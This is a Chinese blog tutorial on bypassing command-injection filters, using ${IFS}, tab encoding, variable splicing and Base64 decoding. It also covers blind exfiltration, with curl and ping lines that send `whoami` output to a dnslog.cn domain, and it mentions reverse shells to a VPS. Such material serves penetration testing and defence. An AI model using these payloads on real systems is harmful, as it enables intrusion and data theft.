首页 > 其他分享 >命令执行绕过

命令执行绕过

时间:2024-02-02 09:00:45浏览次数:21  
标签:变量 IFS 空格 命令 过滤 绕过 执行

开放人员在开发的过程中,为了避免命令执行漏洞,可能会过滤一些命令或者比较常见的攻击payload。攻击者会通过多种方式绕过过滤规则。

绕过空格过滤

1. ${IFS}绕过
$IFS是shell的特殊环境变量,是Linux下的内部域分分隔符。$IFS中存储的值可以是空格、制表符、换行符或者其他自定义符号。空格过滤可以用${IFS}绕过
img
2. $IFS$9绕过
img
3. 制表符绕过
%09是制表符的URL编码,可以通过%09来替代空格,绕过空格过滤。
4. {}绕过
空格过滤可以用{}绕过
img
5. <绕过

绕过关键字过滤

1.变量拼接绕过
Linux支持变量赋值,可以通过变量拼接来绕过过滤规则,如:cat可以替换a=c;b=at;$a$b
2. 空变量绕过
img
3. 系统变量绕过
${SHELLOPTS}是系统变量,可以利用系统变量的字符拼接绕过过滤
img
5. Base64编码绕过
例如:id命令的Base64编码为aWQ,再利用base64 -d对aWQ进行解码,这样就绕过过滤,并且正常执行了命令

`echo "aWQ=="|base64 -d`

无回显的命令执行

如果存在命令执行漏洞,但是没有回显,可以通过shell反弹的方式将shell反弹到vps上,然后通过vps执行命令。如果无法反弹shell,也可以通过DNS管道解析的方式获取命令的执行结果。
在Linux系统中,以下两个目录都可以获取用户名

  1. 在http://dnslog.cn/获取域名
    img
  2. 执行命令
curl 4t3ykd.dnslog.cn/`whoami`
ping -c 1 `whoami`.4t3ykd.dnslog.cn

img

标签:变量,IFS,空格,命令,过滤,绕过,执行
From: https://www.cnblogs.com/kalixcn/p/18002501

相关文章

  • 第16天:信息打点-CDN绕过&业务部署&漏洞回链&接口探针&全网扫描&反向邮件
    #CDN配置:配置1:加速域名-需要启用加速的域名配置2:加速区域-需要启用加速的地区配置3:加速类型-需要启用加速的资源 #参考知识:超级Ping:http://www.17ce.com/超级Ping:https://ping.chinaz.com/接口查询:https://get-site-ip.com/接口查询:https://fofa.info/extensions/source......
  • 执行./ch-mount.sh -m rootfs/时报错: /bin/bash^M 解释器错误: 没有那个文件或目录
    执行./ch-mount.sh-mrootfs/时报错:/bin/bash^M解释器错误:没有那个文件或目录原因是./ch-mount.sh这个文件在Windows下编辑过,在Windows下每一行结尾是\n\r,而Linux下则是\n,所以才会有多出来的\r。 解决办法:先执行下面的命令sed-i's/\r$//' ch-mount.sh该指令会把......
  • Linux 系统,常用命令大全
    Linux系统拥有大量的命令行工具和命令,可以完成从简单的文件操作到复杂的系统管理任务。以下是一些常用的Linux命令,包括文件操作、系统监控、网络工具等,以及它们的基本用法:文件和目录操作ls:列出目录内容。ls-l:以长格式列出信息。ls-a:列出隐藏文件。cd:改变目录。cd~:切换到当......
  • Spring的任务执行器(TaskExecutor)入门
    Spring的任务执行器(TaskExecutor)入门在现代的应用程序开发中,异步任务的处理是非常常见的需求。Spring框架提供了任务执行器(TaskExecutor)来处理异步任务,使得开发者能够轻松地实现并发处理和异步操作。本篇博文将介绍Spring的任务执行器,包括其概念、用法和最佳实践。什么是任务执行器......
  • 安装MySQL出现由于找不到vcruntime140_1.dll,无法继续执行代码的提示
    问题描述:在安装MySQL服务的时候,执行安装命令提示如下的错误信息。解决方法:通过分析可以知道,是由于缺少了vcruntime140_1.dll动态链接库文件,这是windows缺少vc_redist.x64.exe程序导致的服务安装错误,与我们要安装的MySQL服务并没有关系。(如果您的安装过VS类型的工具,就不会提示该......
  • linux 之 shell脚本实现SFTP下载、上传文件、执行sftp命令
    需求需求方通过sftp不定时的上传一批用户(SBXDS_ACC_M_任务ID_yyyymmddHHMMSS.csv),需要我们从这些用户中找出满足条件的用户。然后把这些结果用户通过文件的形式上传到ftp。环境说明ip1能连接hive库环境,不能连接sftp。ip2不能连接hive库环境,能连接sftp。ip1和ip2是共享盘,能同时......
  • linux用户组操作命令
    查看所有用户compgen是bash的内置命令,它将显示所有可用的命令,别名和函数。compgen-u查看当前用户属于那些组groups查看某个用户属于哪些组groups查看系统有哪些组getentgroup追加用户到新的用户组,让他处在多个组中-aG必须要加a,代表append,否则G会让用户脱离......
  • Python Fire:自动生成命令行接口
    命令行程序是平时写一些小工具时最常用的方式。为了让命令行程序更加灵活,我们常常会设置一些参数,根据参数让程序执行不同的功能。这样就不用频繁的修改代码来执行不同的功能。随着命令行程序功能的丰富,也就是参数多了以后,解析和管理参数之间的关系会变得越来越繁重。而本次介绍......
  • gitee 命令合集(从远程仓库拉取项目到推送项目到远程仓库)
    1、配置用户的信息gitconfig--globaluser.name'你的用户名'gitconfig--globaluser.email'你的邮箱'2、初始化Git仓库,生成一个.git目录,该目录包含了资源数据,且只会在仓库的根目录生成,并且会默认生成一个master分支gitinit3、克隆某个Git代码仓库,拉取项目,各......
  • Python命令行参数的解析
    通常,我们运行Python项目或者脚本采用直接执行脚本的方式,但是Python作为一个脚本语言,在Linux中经常会结合Shell脚本使用,这个时候执行的Python脚本多半需要使用命令行参数传入一些变量,以更加灵活、动态地传递一些数据。例如,运行命令: pythonargv.py123其中12......